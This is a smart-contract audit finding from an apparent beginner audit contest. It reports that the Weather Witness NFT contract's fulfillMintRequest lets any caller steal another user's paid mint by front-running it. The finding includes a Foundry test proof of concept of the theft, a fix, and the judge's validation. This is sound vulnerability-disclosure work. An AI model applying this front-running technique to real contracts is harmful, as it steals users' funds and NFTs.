Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Mint Hijack: fulfillMintRequest Allows Anyone to Front-Run and Steal User's NFT

Summary

The WeatherNft::fulfillMintRequest function allows any external address to call it with a known requestId, and mints the Weather NFT to the caller (msg.sender). This enables an attacker to front-run the legitimate user’s mint request and steal the NFT, even after the user has paid the mint price and initiated the request.


Vulnerability Details

// @audit-issue No check that msg.sender == the original requester
@> function fulfillMintRequest(bytes32 requestId) external {
// ...
}

Issues Identified

  1. Mint Hijack / NFT Theft

    • Anyone can listen for the WeatherNFTMintRequestSent event, obtain the requestId, and call fulfillMintRequest before the legitimate user.

    • The NFT will be minted to the attacker's address, even though the original user paid for it.


Risk

Likelihood:

  • An attacker can monitor the blockchain for WeatherNFTMintRequestSent events and, as soon as a valid requestId is emitted, immediately call fulfillMintRequest with that ID.

  • This is likely to happen for every mint, since the event and requestId are public and easily accessible to any motivated attacker.

Impact:

  • The attacker receives the NFT, even though the legitimate user paid for it, causing loss of funds and NFTs for users.

  • Legitimate users may be unable to successfully mint NFTs, resulting in denial of service for all new mints as attackers front-run every mint request.


Proof of Concept (PoC)

This PoC demonstrates an attacker can steal the minted NFT by calling fulfillMintRequest with a legitimate user's requestId before the user does. The NFT is minted to the attacker's address.

PoC Explanation

  1. A legitimate user initiates a mint request by calling requestMintWeatherNFT, paying the required mint price and emitting a WeatherNFTMintRequestSent event with the associated requestId.

  2. The attacker monitors the blockchain for WeatherNFTMintRequestSent events, extracting the requestId before the legitimate user completes the process.

  3. The Chainlink oracle fulfillment is simulated, making the mint ready for completion.

  4. Before the original user can call fulfillMintRequest, the attacker quickly calls this function with the known requestId.

  5. Because there is no authorization check on fulfillMintRequest, the NFT is minted directly to the attacker's address, even though the legitimate user paid the minting fee.

function test_FulfillMintRequest_CanBeHijacked() public {
// Set up parameters for minting a Weather NFT
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
// The expected tokenId for the next minted NFT
uint256 tokenId = weatherNft.s_tokenCounter();
// Step 1: Simulate a legitimate user initiating a mint request
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
// Step 2: Extract the requestId from the emitted event logs
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
// Step 3: Simulate Chainlink oracle fulfillment (weather data arrives)
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
// Step 4: Attacker front-runs the legitimate user by calling fulfillMintRequest first
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
// Step 5: The NFT is minted to the attacker, not the original user
vm.assertEq(weatherNft.ownerOf(tokenId), attacker);
}

Tools Used

  • Manual Review

  • Foundry Unit Testing


Recommendations

Add Authorization Check

Only the original requester should be allowed to call fulfillMintRequest:

function fulfillMintRequest(bytes32 requestId) external {
+ require(s_funcReqIdToUserMintReq[requestId].user == msg.sender, "Not authorized");
// ... existing logic ...
}

Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.